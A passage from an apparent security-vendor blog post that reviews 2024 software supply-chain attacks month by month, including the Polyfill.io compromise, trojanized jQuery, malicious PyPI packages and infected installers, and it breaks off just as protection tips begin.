Inside these projects, malware resembling Keyzetsu Clipper was hidden. This malware intercepts and replaces cryptocurrency wallet addresses copied to the clipboard. As a result, crypto-transactions on the infected system are redirected to the attackers instead of the intended recipient.

May 2024: backdoor discovered in the JAVS courtroom video recording software

In May, reports emerged about the trojanization of the JAVS (Justice AV Solutions) courtroom recording software. This system is widely used in judicial institutions and other law enforcement-related organizations, with around 10 000 installations worldwide.

A dropper was found inside the ffmpeg.exe file — included in the JAVS.Viewer8.Setup_8.3.7.250-1.exe installer on the official JAVS website. This dropper executed a series of malicious scripts on infected systems, designed to bypass Windows security mechanisms, download additional modules, and collect login credentials.

June 2024: tens of thousands of websites using Polyfill.io delivered malicious code

In late June, the cdn.polyfill.io domain began distributing malicious code to visitors of websites relying on the Polyfill.io service. Users were redirected to a Vietnamese-language sports betting site through a fake domain impersonating Google Analytics (www[.]googie-anaiytics[.]com).

Polyfill.io was originally created by the Financial Times to ensure that websites remain compatible with older or less common browsers. However, in 2024, it was sold to Chinese CDN provider Funnull, along with its domain and GitHub account — and this is where the trouble began.

Over the years, Polyfill.io became very popular. Even at the time of the incident, more than 100 000 websites worldwide — including many high-profile ones — were still using polyfills, even though they’re no longer needed. Following the attack, the original creator of Polyfill.io advised users to stop using the service. However, the script is currently still present on tens of thousands of websites.

July 2024: trojanized jQuery version found on npm, GitHub, and jsDelivr

In July, a trojanized version of jQuery — the popular JavaScript library used to simplify interaction with the HTML Document Object Model (DOM) — was discovered. Over the course of several months, the attackers managed to publish dozens of infected packages to the npm registry. The trojanized jQuery was also found on other platforms, including GitHub, and even jsDelivr n — a CDN service for delivering JavaScript code.

Despite being compromised, the trojanized versions of jQuery remained fully functional. The main difference from the original library was the inclusion of malicious code designed to capture all user data entered into forms on infected pages and then send it to an attacker-controlled address.

August 2024: infected plug-in for the multi-protocol messenger Pidgin

At the end of August, one of the plug-ins published on the official Pidgin messenger page was found distributing DarkGate — a multi-functional malware that gives attackers remote access to infected systems where they can install additional malware.

Pidgin is an open-source “all-in-one” messenger, allowing users to communicate across multiple messaging systems and protocols without installing separate applications. Although Pidgin’s peak popularity has long passed, it remains widely used among tech enthusiasts and open-source software advocates.

The infected ss-otr (ScreenShareOTR) plug-in was designed for screen sharing over the Off-The-Record (OTR) protocol — a cryptographic protocol for secure instant messaging. This means the attackers specifically targeted users who prioritize privacy and secure communication.

September 2024: hijacking deleted projects on PyPI

In September, researchers published a study exploring the theoretical possibility of hijacking deleted PyPI projects — or rather, their names. The issue arises because after a package is deleted, nothing prevents anyone from creating a new project with the same name. As a result, developers who request updates for the deleted package end up downloading a fake, malicious version instead.

PyPI is aware of this risk, and issues a warning when you try to delete a project:

PyPI warning when deleting a project

When a project is deleted, PyPI alerts its current owner about the potential consequences. Source

In total, the researchers found over 22 000 PyPI projects vulnerable to this attack. Moreover, they discovered that the threat is not just theoretical — this attack method was already observed “in the wild”.

To protect some of the most obvious high-risk targets, the researchers registered the names of certain popular deleted projects under a secure account they created.

October 2024: malicious script in the LottieFiles Lottie-Player

In late October, a supply-chain attack targeted the LottieFiles Lottie-Player, a JSON-based library for playing lightweight animations used in mobile and web applications. The attackers simultaneously published multiple versions of Lottie-Player (2.0.5, 2.0.6, and 2.0.7) containing malicious code. As a result, a cryptodrainer appeared on sites thar used this library.

At least one major crypto-theft has been confirmed, with the victim losing nearly 10 bitcoins (over US$700 000 at the time of the incident).

November 2024: JarkaStealer found in the PyPI repository

In November, our experts from the Global Research and Analysis Team (GReAT) discovered two malicious packages in the PyPI repository: claudeai-eng and gptplus. These packages had been available on PyPI for over a year — downloaded over 1700 times by users across 30+ countries.

The packages posed as libraries for interacting with popular AI chatbots. However, in reality, claudeai-eng and gptplus only imitated their declared functions using a demo version of ChatGPT. Their real purpose was to install the JarkaStealer malware.

As you might guess from the name, this is an infostealer. It steals passwords and saves browser data, extracts session tokens from popular apps (Telegram, Discord, Steam), gathers system information, and takes screenshots.

December 2024: infected Ultralytics YOLO11 AI model in PyPI

In December, another AI-themed supply-chain attack was carried out via the PyPI repository. This time, the attack targeted the popular package, Ultralytics YOLO11 (You Only Look Once) — an advanced AI model for real-time object recognition in video streams.

Users who installed the Ultralytics YOLO11 library, whether directly or as a dependency, also unknowingly installed the cryptominer XMRig Miner.

How to protect against supply-chain attacks

For detailed recommendations on preventing supply-chain attacks, check out our dedicated guide. Here are the main tips:

Kaspersky official blog – ​Read More